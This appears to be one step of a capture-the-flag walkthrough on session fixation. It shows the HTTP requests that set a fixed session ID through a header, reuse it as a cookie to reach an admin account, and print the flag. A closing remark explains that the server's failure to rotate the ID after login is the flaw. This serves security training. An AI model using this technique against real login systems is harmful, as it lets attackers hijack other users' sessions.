The login endpoint accepts a pre-set session ID via the X-Session-Id header. Set your own ID, convince the victim to log in (simulate via the admin panel), then use that same ID.
Command / Input
POST /login
X-Session-Id: my_fixed_id
Then: GET /api/me
Cookie: session=my_fixed_id
Output
{"user":"admin","flag":"HackrGG{s3ss10n_f1x4t10n_h1j4ck3d}"}
⚑ After login, the server should rotate the session ID. If it doesn't, fixation works.